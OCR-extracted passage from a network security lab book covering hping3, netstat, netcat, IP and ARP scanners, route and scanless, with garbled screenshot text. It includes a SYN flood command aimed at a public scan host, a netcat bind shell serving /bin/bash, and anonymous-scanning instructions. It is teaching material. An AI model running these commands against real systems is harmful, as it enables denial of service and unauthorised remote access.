The ifconfig tool also enables you to change the MAC address associated

with a network interface. This can be done with the following command:

ifconfig [network-name] hw [class] [hardware-address]
Eg. ifconfig ethO hw ether 66:3e:7f:60:f2:1f



There are actually 4 sets of Locally Administered Address Ranges that can be
used on your network without fear of conflict, assuming no one else has
assigned these on your network:

X2-XX-XX-XX-XX-XX
X6-XX-XX-XX-XX-XX
XA-XX-XX-XX-XX-XX
XE-XX-XX-XX-XX-XX

To make the changes permanent, open the file below and add the following
lines in it:

nano /etc/network/interfaces
pre-up ifconfig ethO hw ether AA:22:33:44:55:66

Reboot the system. The new MAC address will appear.



Lab 20. Hping for Security Auditing
and Testing of Network Devices

Lab Objective:
Learn how to use hping for security auditing and the testing of networking
devices.

Lab Purpose:

Hping is an open-source packet generator and analyser for the TCP/IP
protocol. It is often referred to as a swiss army knife, as it can perform a lot
of packet-related functions for security testing and auditing.

Lab Tool:
Kali Linux

Lab Topology:
We will use Kali Linux for this lab. hping3 command requires root privileges
to work. First of all, we have to become the “root” user using the terminal:

sudo su —

In this lab we need another “victim” machine to make connections through.
We can use scanme.nmap.org as a target host on the internet. This site has
been developed by NMAP for the purpose of scanning. Never scan any site,
system, or network without prior permission from the owner.

If you have no internet connection during hping testing, you may consider
installing a Kali or Ubuntu VM on your own working PC.

Lab Walkthrough:


http://www.scanme.nmap.org/

Task 1:
We will begin by viewing the help information screen by executing the
following command:

hping3 -h

usage: hping3 host [options]
-h  --help show this help
-y --yersion show version
C count packet count
-1 --interval wait (uX for X microseconds, for example -i uleeg)

--fast alias for -i uleeee (16 packets for second)

--faster alias for -i ule@e (106 packets for second)

--Tlood sent packets as fast as possible. Don't show replies.
- - umeric numeric output

--quiet quiet

--interface interface name (otherwise default routing interface)
--verbose  verbose mode

- -debug debugging info

The default packet which hping will create is a TCP packet. This means that
even if a device such as a router or firewall is blocking ping requests, we can
still perform host discovery and reconnaissance with hping.

We will perform our first scan using the SYN flag. This will send out the
same packets as nmap would when performing a -sS scan. We will also check
if port 80 is open. “-c 5” parameter tells us that this scan will only be repeated
5 times. Type the following command:

hping3 scanme.nmap.org -p 80 -S -c 5



- ~
scanme.nmap.org 80 P —
HPING scanme.nmap.org (eth® 45.33.32.156): S set, 40 headers + 0 data by
len=46 ip=45.33.32.156 ttl=49 DF 1d=9@ 6424
len=46 ip=45.3 .156 ttl=49 DF id=0
len=46 lp;ﬁﬁ. . 156 'ET}.:-'-'&E DF ld:'a S

len=46 ip=45.3 6 ttl=48 DF id=0 sport=8¢
len=46 32.1 ttl=47 DF id=0 sport=80

-—— scanme.nmap.org hping statistic
5 packets transmitted, 5 packets rec
round-trip min/ave/max = 196.0/

Note that, in my scan, the packets came back with the flags “SA” set. This
indicates that the port is open. If the flag were set to “RA”, the port would be
closed.

Task 2:
Create a SYN package and use scan mode to scan port 1 through 1000 on
these targets. “-8” puts hping command to sweep-scan mode.

hping3 scanme.nmap.org -8 1-1024 -S
hping3 192.168.1.123 -8 1-1024 -S

® o~
| =Canme.Nmap.org :
Scanning scanme.nmap.org (45.33.32.156), port 0-1024
1025 ports to scan, use -V to see all the replies
+ B — e ——— + + +
|port| serv name | flags |ttl| id | win | len |
4 _— L ——— 4 4 4 4
o us 48 0 64240 46
O s L8 0 bL240 46

80 http -
All replies received.
Not responding ports:




. ~
192.168.1.123 0-1024

024
5

-1
to scan, use -V to see all the replie
- === - - -
rv name | flags |[ttl| id | win | len
——— A & &
128 1226
128 1482
128 1738 65392
28 1994 65392

Lt

135 epmap

139 netbios-ssn:

445 microsoft-d:

254 rtsp - o
ALL replies received. Done.

T ]
= =

I:

Wil

In these two examples, we scanned two different machines. As a result of
both scans, the ports that are detected as open give us some information about
the operating systems of the machines. We can roughly say that the first is
Linux OS and the second is Windows.

Task 3:

If we want to perform a more detailed scan, we can scan all the ports
beginning with 1. We can do this by adding the increment switch (++1) after
the port switch and the port number where we want the scan to begin.

hping3 -S 139.162.196.104 -p ++1

2
39.162.196.104 ++1
HPING 139.162.196.164 (eth® 139.162.196.184): S set, 48 heade
len=46 ip=139.162.196.1684 tt 28 id=2 flags=RA :
len=46 ip=139.162.196.1684 ttl=128 i flags

len=46 ip=139.162.196.164 ttl=128 i e 3 flags=
len=46 ip=139.162.196.164 ttl=128 i

len=46 ip=13 2]

len=46 ip=

Task 4:
Nowadays, many websites which are heavily accessible use multiple servers
to meet incoming requests. For example, a web request to www.google.com



is handled by more than one server. In order to learn the IP addresses of these
servers that are behind the DNS, type this command:

hping3 www.google.com -S -p 80 -T --ttl 13 --tr-keep-ttl -n

13
HPING www.google. Z ) 142.250.185.68): S
hop=13 TTL @ during transit from ip=108.170.23¢
hop=13 hoprtt=63.3 n
hop=13 TTL @ during transit from ip=108.170.251.
hop=13 hoprtt=62.2 ms
hop=13 TTL @ during transit
hop=13 hoprtt=59.6 ms
hop=13 TTL @ during transit
hop=13 hoprtt=59.6 ms
hap=13 TTL @ during TFransirt
hop=13 hoprtt=66.7 ms
hop=13 TTL @ during transit
hop=13 hoprtt=58
hop=13 TTL @ during
hop=13
no

noj 3 hoprtt=6

40 headers + @ d

hop=13 TTL @ du

In this case, we used the TTL in traceroute to obtain some of the load-
balancing devices’ IP addresses.

Task 5:
We can use hping command as a ordinary ping tool. “-1” parameter indicates
that this is an ICMP package.



SCanme . III'!.ﬂ:_J s L
headers + @ data bytes
ttl=49 1id=
5 ttl=40

ttl=49

Traceroute to a target using ICMP mode and show verbose.

hping3 scanme.nmap.org -1 --traceroute -n



scanme.nmap.org
HPING scanme.nmap.org (eth® 45.33.32.156): icmp m
hop=1 TTL @ during transit from 1p=192.168.1.1
hop=1 hoprtt=5.6 ms
hﬂn- TTL @ during transit from ip=195.87.
hof)=2 hoprtt=5.5 ms
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Hping also improves on the traceroute ability. Traceroute uses ping to
determine the location of servers, firewalls, routers etc. This can be very
useful for hackers looking to create a network map of their target. For this
reason, many firewalls do not respond to ping packets. Hping does the same
thing but can also use TCP packets instead of ICMP, which all firewalls will
allow (otherwise, it would not allow internet traffic). Let’s try this now:



hping3 scanme.nmap.org -n -S -s 8080 -p 80 --traceroute

m e
sCanme . nmap.org
HPING scanme.nmap.org (eth® 45.33. 5 set, 40 headers + @ data bytes
hop=1 TTL @ during transit f .
hop=1 ho 1
hop=2 T L @ during transit from ip=195.87.128.38
hop=2 hoprtt=23.6 ms
hop=3 ) during transit from ip=
hop=3 hoprtt=21.5 ms
hop=4 TTL @ during transit fr ip
hop=4 hoprtt=56.3 ms
hop=5 TTL @ during transit from ip-46.234.28
5 hoprtt=4.8

LS R CEROUTE

TTL & during transit from 1p=195.2.18.213

Cﬂnhettmg TCP:80 on target

tr.-l.l,.]"_ from 1p=195.2.16.1

from ip=195.2.24.2390
hop=1@ hoprtt=2
hop=11 TTL @ du g transit from ip=195.2.24
hop= ;
hop=12 TTL @ during transit from
hop=12 hoprtt=159.9 ms
hop=13 TTL @ during transit from
hop=13 hoprtt=214.9 ms
hop=14 TTL @ during transit from
hop=14 hoprtt=3 3 ms
hop=15 TTL @ during transit from ip=173.230.159.71
p=15 hoprtts ;35'{'1"-},"-] ms

Traceroute to determine if port 80 is open, set local traffic to be generated
from source port 8080.

Task 6:

Hping can be used to tell us how long a server has been up. This is useful
information for a hacker as each time a server is patched or updated, it must
also be rebooted. If we see that a server is up for 5 years, we can be sure that
the server has not been patched or updated in that time, and that it therefore
will be vulnerable to all vulnerabilities discovered during that timeframe. We
can do this using the following command:



hping3 scanme.nmap.org -p 80 --tcp-timestamp -S -c 4

Note: This will not work on a Kali Linux VM with NAT settings enabled.

&
!5 set, 490 he s + 0 data bytes
ttl=47 DF id=@ sport=80 flags=SA seq=0 win=65160 rtt=226.8
timestamp: tcpts=2633482130

56 ttl=49 DF id=0 sport=80 flags=SA seq=1 win=65160 rtt=223.

3

11 hours, 31 minutes, 23 seconds

1d=8 sport=80 flags=SA seq=2 win=65160 rtt=255.¢

System uptime seems: 30 days, 11 hours, 31 minutes, 24 seconds

2.156 id-@ sport-80 flags-SA seq-3 win-6516@ rtt-227.2 ms

System uptime seems: 39 days, 11 hours, 31 minutes, 25 seconds

Task 7:
To start a SYN flood attack, run the command bellow.

hping3 scanme.nmap.org -S --flood -p 80

When running the commands, hping3 will not show any output; it is working
in the background.



Lab 21. Using Netstat to View
Networking Information

Lab Objective:
Learn how to use netstat to view networking information.

Lab Purpose:
Netstat is a command line tool which let’s you print network connections,
routing tables, interface statistics, masquerade connections, and multicast
memberships.

Lab Tool:
Kali Linux

Lab Topology:

You can use Kali Linux for this lab. Some netstat command features may
requires privileges to work. First of all, we have to be the “root” user using
the terminal:

sudo su —

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

netstat -h
We will then view all active connections by typing the following:

netstat



Active Internet connections (w/0 servers)

Proto Recv-0Q Send-0Q Local Address Foreign Address State

udp 8 8 192.168.71.131:bootpc 192.168.71.254:bootps ESTABLISHED

Active UNIX domain sockets (w/o servers)
RefCnt Flags Type State

[ ] DGRAM

] DGRAM

] DGRAM

] DGRAM

| DGRAM

] STREAM CONMECTED

]

]

|

]

Path
Jrunfuser/e/systemd/notify
systemd/notify
fsystemd/journal/syslog
; 'systemd/journal, -log
Jrun/systemd/journal/socket
@/tmp/. ICE-unix /864
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STREAM CONNECTED
STREAM CONNECTED
STREAM CONNECTED
STREAM CONNECTED

Jrun/dbus/system bus socket
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Task 2:
We can use netstat to display both local and foreign addresses in numeric IP
form using the “-n” parameter.

netstat -n
If we want to view only TCP connections, we need to add the “-t” parameter.
netstat -t

Similary, if we want to view only UDP connections, we need to add the “-u”
parameter.

netstat -u

We can combine and operate multiple parameters in a single command as
follows;

netstat -nt



Let’s look at the figure;

1. This area shows our local IP address and port number for each
connection.

2. This field shows our remote IP address and port number for
each connection.

3. This area displays the TCP / UDP status of each connection;

LISTEN: represents waiting for a connection request from any remote
TCP and port.

SYN-SENT: represents waiting for a matching connection request
after having sent a connection request.

SYN-RECEIVED: represents waiting for a confirming connection
request acknowledgment after having both received and sent a
connection request.

ESTABLISHED: represents an open connection, data received can be
delivered to the user. The normal state for the data transfer phase of
the connection.



FIN-WAIT-1: represents waiting for a connection termination request
from the remote TCP, or an acknowledgment of the connection
termination request previously sent.

FIN-WAIT-2: represents waiting for a connection termination request
from the remote TCP.

CLOSE-WAIT: represents waiting for a connection termination
request from the local user.

CLOSING: represents waiting for a connection termination request
acknowledgment from the remote TCP.

LAST-ACK: represents waiting for an acknowledgment of the
connection termination request previously sent to the remote TCP
(which includes an acknowledgment of its connection termination
request).

TIME-WAIT: represents waiting for enough time to pass to be sure
the remote TCP received the acknowledgment of its connection
termination request.

CLOSED: represents no connection state at all.

Task 3:
netstat allows us to view only connections which are listening. We can do
this by typing this command:

netstat -ntl

Lcp
tcp
tcpb
tcpb

=

<

Active Internet connections (onlv servers)
Proto Recv-0Q Send-Q Local Ac Foreign Address State

0 2.90.90.0: 0.0.0.0:= LISTEN
0.0.0.8:= LISTEN

- LISTEN

LISTEN



“0.0.0.0” in the local address column indicates all IP addresses that are
listening. “0.0.0.0:*” in the foreign address column indicates everyone and all
ports in the IP space. In the last lines, it shows that we are in a state of
listening for each connection.

Task 4:
We can view the kernel routing table by using the following command:

netstat -r

M55 Winoow Artt I
i}

Note: netstat -r and route -e product the same result.

Task 5:
We can make netstat show us the process IDs and where they belong by

using the following command:

netstat -tunp



CP+UDP, only numbers, show each process ID

lentif p info

I

e

FEEEEEEEEE

LCE
tc
tc
tc
tc
te
tc
tC
tc
tc
tc
L
L4

t
Lc
tc
L
tc
tc
Lt
tc
Lt

This command shows only TCP and UDP traffic with their associated process
IDs. Displays IP addresses and port numbers as numbers.

We get more details if the last command is used with the -e parameter;

netstat -tunpe

Task 6:
We can display high level statistics by using the following command:

netstat -s



Forwarding: 2
17278 total packets received
28 with 1nvalld addresses
8 forwarded
8 incoming packets discarded
17250 incoming packets delivered
a/154 requests sent out
Icmp:
38 ICMF messages recelved
29 input ICMP message failed
ICMP input histogram:
timeout in transit: 29
echo replies: 1
16 ICMP messages sent
8 ICMP messages falled
ICMP output histogram:
destination unreachable: 14
echo requests: 1
timestamp requests: 1




L.ab 22. Netcat

Lab Objective:
Learn how to use netcat

Lab Purpose:

Netcat is a utility tool which can read and write data across TCP and UDP
network connections. Netcat has a huge amount of uses and is often known as
a swiss army knife. It can be used as a port scanner, backdoor, port redirector,
port listener and many other things. Netcat can be used to perform a total
hack, all by itself.

Lab Tool:
Kali Linux

Lab Topology:

You can use a Kali Linux VM for this lab. In this lab we need another SSH-
enabled machine to make connections through. You can find a prebuilt
Ubuntu Server 20.04 image on https://www.osboxes.org/ubuntu-server/ for
this purpose.

Ubuntu Server 20.04 Focal Fossa

SHAZSE: FOOF//0aac5l5C]19207104ba0 /DELSRYIBES 2aT 25D3D0 32 25a006F 20+ fEd

[



https://www.osboxes.org/ubuntu-server/

Download and import it to your virtualization platform and run.

Some netcat command features may require privileges to work. First of all, we
must be the “root” user using the terminal:

sudo su —

Keep in mind that “netcat” and “nc” commands are the exact same.

Lab Walkthrough:

Task 1:
We will begin by viewing the help information screen by executing the
following command:

netcat -h

[v1.18-46]
connect to somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [-options] [hostname] [port]
options:
-¢ shell commands as -e': use /bin/sh to exec [dangerous!!]
-e filename

allow broadcasts
-g gateway source-routing hop point[s], up to 8

G num source-routing pointer: 4, 8, 12,
this cruft
delay interval for lines sent, ports scanned
set keepalive option on socket
listen mode, for inbound connects
numeric-only IP addresses, no DNS
hex dump of traffic
local port number
randomize local and remote ports
quit after EOF on stdin and delay of secs

laral ennrece addrece

We will begin by port scanning using netcat. netcat is quite slow and nmap is
a far better option for port scanning, but this is just to show you netcat’s
functionality. This can be done using the following command:



nc -v -w2 -z 192.168.1.123 130-140

192.168.1.123 138-148 4:1'-5-;;'

rse host lookup failed: Unknown host
(UNKNOWN) [192.168.1 140 (?) : Connection timed
(UNKNOWN) [ = «123 (netblios=ssn) open
{ UNKNOWN ) [ : L.123] 13 f) i Conmectlos
{ UNKI [ j
[ UNEK
({ UNK
[ UNK
[ UNK

r i
i
¥

nnection
Lepmap) open
L) = Connectlon
(7) : Connection

. s . s a
B ek ek i
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I
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In this example, we started a scan of an IP address for a specific port range.
As a result of the scan, we found that ports 135 and 139 are open. This target
is probably a Windows machine.

Task 2:

We can then perform banner grabbing to determine which version of a
service is running. I will demonstrate this on port 22 for SSH. This can be
done using the following command:

nc -v -n 139.162.196.104 22

-

Task 3:
When connecting to a web server, we can request information in the form of



web requests. We can request the header from this server by using the
following command when we are connected:

nc 192.168.1.206 80
HEAD /HTTP/1.0

This will cause the webserver to respond with usefull information like server
banner, content size, version, time, etc.

g o0

192 .168.

HEAD / HTTR/1. n
GET / HTTP/1 @

200 OK
“.51_1”‘\ .18.0 |I_I_1.|J'1T_u]

Date: Mon, 22 Mar 2021 23:89:33 GMT
Content-Type: text/html
Contéent-Length: 288
Last-Modified: Maon,
Connection: close

"605921db-128"
A [n pt r ange

To retrieve the top level page on the webserver, we can issue the following
command:

nc 192.168.1.206 80
GET /HTTP/1.0



@ -

192.168.1.206 80 {;_—-_-_._@

>Welcome to nginx!</

to nginx! </ hl>
Seée Lthis page, the nginx web
and working. Further configur:
hank you for US1INE NELNX . <

Task 4:

We can also transfer files between two nodes using netcat. This is very handy
when interacting with a server through the command line. In this example,
we will assume we want to transfer a file to a target which we have remote
command execution of. We will begin by setting up a listener on the target
host and then connecting to it from the attack box.

nc -vnlp 8080 > received.file

This opens a listener on the target on port 8080. We will then connect to it on
the attack box and transfer the file.

nc 192.168.1.206 8080 < tobe-send.txt

We can end the connection as the file has now transferred.

tobe-send.txt

N\

tobe-send. txt G===(@ @




|1|| [} T 100

Ll\.h‘l]_ll,_ nn:}u X
Connection receiv r.* on 192.168.1.

yshoxesaosboxes:~% cat received, "'1"- r.‘,]:.

I_|'.].'_-.- 15 sample Irj.l--l content

With this method, it is possible to transfer large files as well with the help of
compression tools.

Task 5:
We can open a UDP server using netcat too, using the following command:

netcat -ul -p 7000
Connect to listener side with this command;

nc -uv 192.168.1.206 7000

Task 6:
Netcat can also be used to create a basic shell on a remote system on a port.
This can be done by executing this command:

netcat -1 -p 7777 -e /bin/bash

This will start a server on port 7777 and will pass all incoming input to bash
command and the results will be sent back. This will basically convert the
bash program into a server. Netcat can be used to convert any process into a
server. We can connect to this bash shell using the following command:

netcat 139.162.196.104 7777



L.ab 23. IP Scanners

Lab Objective:
Learn how to use IP Scanners for network reconnaissance.

Lab Purpose:

IP scanners are tools which scan and monitor your network. They are often
used by administrators for discovering devices on a network as well as
remotely managing these devices.

Lab Tool:
Windows

Lab Topology:
You can use Windows for this lab.

Lab Walkthrough:

Task 1:

We will be demonstating how to use an IP scanner on a Windows machine in
this lab. To begin, download the following IP scanner:
https://www.advanced-ip-scanner.com/



https://www.advanced-ip-scanner.com/

@ Advanced IP Scanner

Scan a network in seconds

Free Advanced IP Scanner is trusted
by 55 million users

Free Download

Cooarageptibie vl i Wiraoisas.

Task 2:
Now, double click the downloaded file and complete the installation in the
order shown in the figures.



¥ Setup - Advanced IP Scanner 2.5

Welcome to the Advanced TP Scanner 2.5 Setup Wizard
Specify whether you want to nstal Advanced IP Scanner 2,5 or Just run it Q
Select Setup Language X
Select acton: Select the language to use during the

\_)Dprwm will be nstalled. For advanc Enﬁ'l \_)% :
Run

(] Advanced settings

0 = ] |




(T Setup - Advanced IP Scanner 2.5 - > I
License Agreement W Letup - Advenced P Soeneer 25 -
Please read B Fnlu'.'rr'vg iy

Completing the Advanced IP
Scanner Sctup Wizard

(F Satep - Advngad P Eoanner 23

lrvad allang

P wat, hir S lug irutals advann Setup Fue finehesd rstaling Advanoed 1P Scanrer on your

megie b g

Ok Finish B et e,

Exirmrtrg Ml
B3 [ b dchvarced P S a
i NOTICE TO USER:
9..—-" (®)1 accept the agreement G ——

'.:J'I o not accept the agre

Task 3:
This will scan our network and pick up on all devices connected to the

network. It will display information such as each device’s IP address and
MAC address.

Enter your subnet range in the space. If you do not know said range, simply
hit the scan button.



F Advanced IP Scanner 9_,)

File  View V Help
’ Scan il IF C

Results Favorites

Satus

4

0 alrve, 0 dead, 0 unknown

192.168.1.1-254 H

MName

IP Manuf acturer

MAC address C

o Advanced P Scanner

File Y¥iew Seftings Help

B u rc®

fmmite

Satus MName
W2 168.1.1
10216812
ML1ea13

WLIsL 1

W68 1.2

Lt L ]
= (P EFI Y]

T L L L

Manufactuner
HUSNE] TECHMOLOGIES CO, L.

HUSNE! TECHMOLOGIES COL L.
Murata Manufactuing Co., Ltd.

bl

62% 193 iz, 0 dead, 0 urienoon [

MAL address
]

=45

ol

Comments i

When the scan is complete, the nodes detected on the network will be listed
together with their MAC and IP addresses.

Task 4:

This tool can then be used to connect and remotely manage any of these
devices. To do this, simply select the device you would like to manage. You
will be asked to install another tool called Radmin, which will allow you to
contol the other devices on your network. Click yes and install it.

Note: to successfully control a device on your network, you will need to have
a Radmin server running on that device.




T Advanced IP Scanner | b
File View Settings Help
P 11 P E T
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= HOMEPC 19216811 GIGA-BYTETECHNGRSY' | ]
| 19216801 192.168.0.0  HUAWEI TECHNOLOGIES C g -
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= 192168122 192168122 Mursts Manufectunng Co, =~ " "g)r #= Full Control '.@
- 192.168.0.21 192.168.1.21 i . View Only
- 192.168.1.54  192.168.1.54 Copy » B Teinet
] - YL File Transfer
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| = B Sevens. 01 Shutdewn
- e . . ) ) ) *=  Chat
1 Radmin Viewer is required for this action,
- o' Add to favorites 13 voice Chat
- Press QK to install free Radmin Viewer, Rename B! Send Message
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[}
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There are a lot of useful functions admins can perform when taking control of
a device on their network using this tool, such as taking full control, read-
only control, connecting via Telnet, file transfer, shutting down the device,
and chatting via both text and voice.

This tool is useful for network administrators as it can both manage devices
and pick up on any rouge devices present on their network.

Task 5:

IP scanners can also be installed on Linux. The most popular of these is
called Angry IP Scanner, or simply ipscan. It is open source and provides the
same functionality as the above IP Scanner. It can be downloaded for
Windows, Mac, and Linux from the following link:

https://angryip.org/


https://angryip.org/

Lab 24. Using ARP for Network
Reconnaissance

Lab Objective:
Learn how to use ARP for network reconnaissance.

Lab Purpose:

ARP stands for the Address Resolution Protocol. Its purpose is to map IP
addresses to MAC addresses. ARP is effective in finding all network-
connected devices as you cannot block ARP.

Network scanning activities may generate high level alarms in firewalls when
you are running on your local network. For this reason, it is recommended
that you inform your security/network administrator before starting the scan.

Lab Tool:
Kali Linux

Lab Topology:

You can use Kali Linux in a VM for this lab. Some command features require
higher privileges to work. First of all, we have to be the “root” user using the
terminal:

sudo su —

Lab Walkthrough:

Task 1:

Arp-scan is the tool we will be using for the purpose of this lab and it comes
pre-installed on Kali Linux. To begin, we will first look at the help screen for
this tool by typing the following:



arp-scan -h

This will tell us a bit about the tool and provide us with some common tags
we can use.

Task 2:
We will now conduct a complete scan of our local network. We will need to
run the arp-scan as “root” to do this. Type the following command:

arp-scan —localnet

10MEB, MAC: QB:00:27:26:11:86, 80vL:
th 256 hosts (httos://eithub

HUAWEI TECHNOLOD

HUAWEI TECHNOD

Murata Manufact i
GIGA-BYTE TEIZHf'ilziLl::"'E;' CO.,LTD.

»r, @ packets dropped by kernel

5 scanned in 2.356 seconds (108.66 hosts/sec)

If you receive an error during this scan, double check that you are running it
as root.

Let’s take a look at the figure.

As a result of the scan, we detected 4 different network-capable devices. We
can see their MAC addresses and their corresponding IP addresses in
columns 2 and 3. The first 3 segments of MAC addresses are assigned to
hardware manufacturers by IEEE. arp-scan creates vendor information in
column 4 by comparison from its own database.

The last 3 segments in the MAC address are defined specifically for the
interface card produced by that manufacturer. They are permanently written
into interface cards. However, it is still possible to temporarily change these
addresses at the software level. As a matter of fact, arp-scan has the option to
change the MAC address for the selected card, which we will see later in this
lab. The MAC address of the network card used for querying is indicated at
number 5 in this figure.



Since MAC addresses have to be globally unique, copying them can cause
problems, so they are blurred.

Task 3:

To specify the interface and subnet which you want to scan the network with
and for, use the “-I” option followed by the name of the interface you want to
use. Here is what that would look like:

arp-scan -I eth0 192.168.1.0/24

fetc/network

In this scan, we have specified that we want to use the ethO interface and we
want to scan a specific subnet. The IP address assigned to the interface card
does not have to be in the subnet to be scanned. It doesn’t even need to be
assigned an IP. See figure below:

Task 4:
If the interface is configured as trunk, it is possible to scan on specific



VLAN. Example for VLAN 10;

@ .
etho 192.168.1.0/24 10 ﬂﬁ-

Interface: eth®, type: EN1OMB, MAC: @8:00:27 1f:86, IPv4: 192.168.1.20
.9.7 with 256 hosts (https thub.com/royhills/arp-scan)

HUAWEI TECHNOLOGIES CO.,LTD
HUAWEI TECHNOLOGIES CO.,LTD

ived by filter, @ p ets dropped by kernel
1.9.7: 256 hosts nned in 2.356 seconds (108.66 hosts/sec)

Task 5:
If you find unknown devices as a result of an arp scan, they are not
necessarly rouge devices. It simply means that the MAC adress is not in the

arp-scan vendor databases. To identify these devices, you can use an online
MAC finder site.

eth®d 192.168.1.8/24
Interface: eth®, type: EN1OM
Starting arp-scan 1.9.7 with 256

HUAWEI TECHNO

06:00:27:33:0d:a@ m: local I.'-,' administered) ®

elved by
Ending arp-scan 1.9.7: 256 hosts scanned in 2.393 seconds 2C ).

You can also update the arp-scan databases by executing the following
commands:

cd /usr/share/arp-scan
get-iab -v -u http://standards.ieee.org/develop/regauth/iab/iab.txt

get-oui -v -u http://standards.ieee.org/develop/regauth/oui/oui.txt

If there are cards in your network whose MAC addresses have been changed
intentionally, you can manually add a line to “/usr/share/arp-scan/mac-
vendor.txt” file to identify them. For our example:


http://standards.ieee.org/develop/regauth/iab/iab.txt
http://standards.ieee.org/develop/regauth/oui/oui.txt

060027 SPOOFED-NIC TECHNOLOGIES LLC

Task 6:

If we want to analyze the responses from the scanned devices later with
analysis tools such as tcpdump, wireshark, it is possible to save them in a
separate file.

arp-scan --localnet -W results.pcap
tcpdump -nr results.pcap

There are many things that an ARP scan can uncover, making it a very useful
tool, including the following:

e Discovery of all IPv4 network-connected devices.
Quickly identify and map IP addresses to MAC addresses.
Find duplicate IP addresses.

Isolate and locate rogue devices.

Identify devices by NIC vendor.



Lab 25. Using Route to Display
Network Information on Linux

Lab Objective:
Learn how to use route to display network information on Linux.

Lab Purpose:

Route is used when you want to work with the IP/kernel routing table. It is
typically used to setup static routes to specific networks of hosts via an
interface. It is used for updating or showing the IP/kernel routing table.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Some route command features may require high privileges to work. First of all,
we have to be the “root” user using the terminal:

sudo su —

Lab Walkthrough:

Task 1:
In order to use route, you may need to install it. It comes in a package called
net tools, and it can be installed on Kali Linux with the following command:

Sudo apt-get install net-tools

Once this is installed, we will first view the help screen using the following
command:



route -h

o -

route [-nNvee] [-FC] [<AF=] List kernel routing tables
route [-v] [-FC] {add|del|flush} ... Modify routing table for AF.

route {-h|--help} [<AF>] Detailed usage syntax for specified AF.
route {-V|--version} Display version/author and exit.

-v, --verbose be verbose
-N, --Numeric don't resolve names
-e, --extend display other/more information
-F, --fib display Forwarding Information Base (default)
C, cache display routing cache instead of FIB
<AF>=Use -4, -6, '-A <af=' or '--<af='; default: inet
List of possible address families (which support routing):

inet (DARPA Internet) ineté (IPv6) ax25 (AMPR AX.25)

netrom (AMPR NET/ROM) ipx (Novell IPX) ddp (Appletalk DDP)

%25 (CCITT X.25)

We will then use a simple command to view our IP/kernel routing table:

route

2 -~

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.71.2 0.0.0.0 uG 106 o 0 ethe
192.168.71.0 0.0.0.0 255.255.255.8 u 100 o 0 ethe

Task 2:
If we want to display the previous routing table in ful numeric form, we can
use this command:

route -n

This is useful for more accurately determining values in the routing table.



] ~

Kernel IP routing table

Destination Gateway Flags Metric Ref Use Iface
0.0.0.8 192.168.71.2 .0.08. uG 100 (¢] B ethd
192.168.71.0 0.0.0.0 - .255. 100 0 8 etho

Task 3:
We can add a default gateway by executing the following command:

route add default gw xxX.XXX.XXX.XXX

Replace the x’s with the your gateway IP. This assigns a gateway address
through which all packets that do not belong to the network are forwarded.

Task 4:
To view the kernel’s routing cache information, we can use the following
command:

route -Cn

The cache is used to route the packets faster. This command will print all
saved cache information.

Kernel IP routing cache
Source Destination Gateway Flags Metric Ref Use Iface

Task 5:
We can specify to reject routing to a specific host or network using this
command:

route add -host 192.168.1.51 reject

If we attempt to ping the above IP address, we will be presented with a
“Network is unreachable” notice.



Task 6:
If we want to get the details of the kernel/IP routing table, we can use the
following ip command:

ip route
This will detail the kernel/IP routing table.

=
route

default via dev proto dhcp metric 100
proto kernel scope link src metric 100

Task 7:
In some instances, we may wish to delete the default gateway, which we can
achieve by running this command:

route del default

NOTE: this may lead to some malfunctioning of your internet connection and
it is important you take note of your default gateway before executing this
command.

Task 8:
To get the output in relation to IPv4 and IPv6, we can use the following
commands respectively:

ip -4 route

The above will display the entries with IPv4 only

2
route

default via dev proto dhcp metric 100
dev proto kernel scope link src metric 1@

ip -6 route



The above will display the entries with IPv6 only

=z

route

dev proto kernel metric 256 pref medium
dev proto kernel metric 100 pref medium




Lab 26. Using Scanless for Easy
Anonymous Port Scanning

Lab Objective:
Learn how to use Scanless to anonymously scan a target.

Lab Purpose:

Scanless is a script which makes use of online scanners to allow you to scan a
target anonymously. It provides a number of scanners which you can use to
scan your target. The different scanners will prioritise different ports, making
it worthwhile to run a number of scans using the different tools.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
We will need a tool called pip to download this tool. You may already have it
installed, but if not, use the following command to install it:

sudo su -
apt install pip

Once pip is installed, we can easily install the scanless tool. Simply type the
following:

pip install scanless



The tool will install quickly. After the installation, for the changes to take
effect, close the current terminal and open a new one. Be root user before
continuing to futher tasks.

Task 2:
We will begin by first viewing the help screen by typing the following:

scanless -h

We will then look at the list of scanners available to use by typing the
following:

scanless -1

hackertarget | https://hackertarget.com
ipfingerprints | https://www.ipfingerprints.com

pingeu | https://ping.eu

spiderip https://splderip.com

standingtech https://portscanner.standingtech.com
tlshopper http://wwei.t1lshopper.com

viewdns https://viewdns.info

yougetsignal https://www.yougetsignal.com

This will list the different scanners and the sites where they are available.

Task 3:
You can set the target you wish to scan with a command such as the
following:

scanless -t [Target hostname or IP] -s [Scanner Name]

We can select one of the scanner types we listed in the previous command
and place it in square brackets. It is important you have root permission from



the target before you initiate a scan.

Also, you can use the following site as a target as it has been setup for the
purpose of scanning:

scanme.nmap.org

We will now run through a number of scans using different tools to determine
how each tool priortises different ports. Here is a scan using the tool
“hackertarget”:

scanless -t scanme.nmap.org -s hackertarget

- -
scanme.nmap.org hackertarget
Running scanless v2.1.5...

hackertarget:

Starting Nmap 7.70 ( https://nmap.org ) at

Nmap scan report for scanme.nmap.org (45.33.

Host is up (8.869s latency).

Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f034
PORT STATE SERVICE

Nmap done: 1 IP address (1 host up) scanned in ©.39 seconds

This is a scan using spiderip:

scanless -t scanme.nmap.org -s spiderip



® -
canless scanme.nmap.org spiderip
Running scanless v2.1.5...

spiderip:
PORT STATE SERVICE

This is a scan using t1shopper:

scanless -t scanme.nmap.org -s t1shopper



@ -
nle: scanme.nmap.org t1shopper
Runnlnq scanless v2.1.5.

t1shopper:
PORT STATE SERVICE

Each of these tools will priortise scanning for different ports and, as such,
they will provide different information.

Unlike others, “ipfingerprints” also estimates OS for the target, and reports
results with estimation percentages.

scanless -t scanme.nmap.org -s ipfingerprints



] .
scanme.nmap.org ipfingerprints
Running scanless v2.1.5...

Linux 3.10 = 4.2 (94%),

_;.-..'.i]
HP P200@ G3 MAS device
ct 05 matches for host (

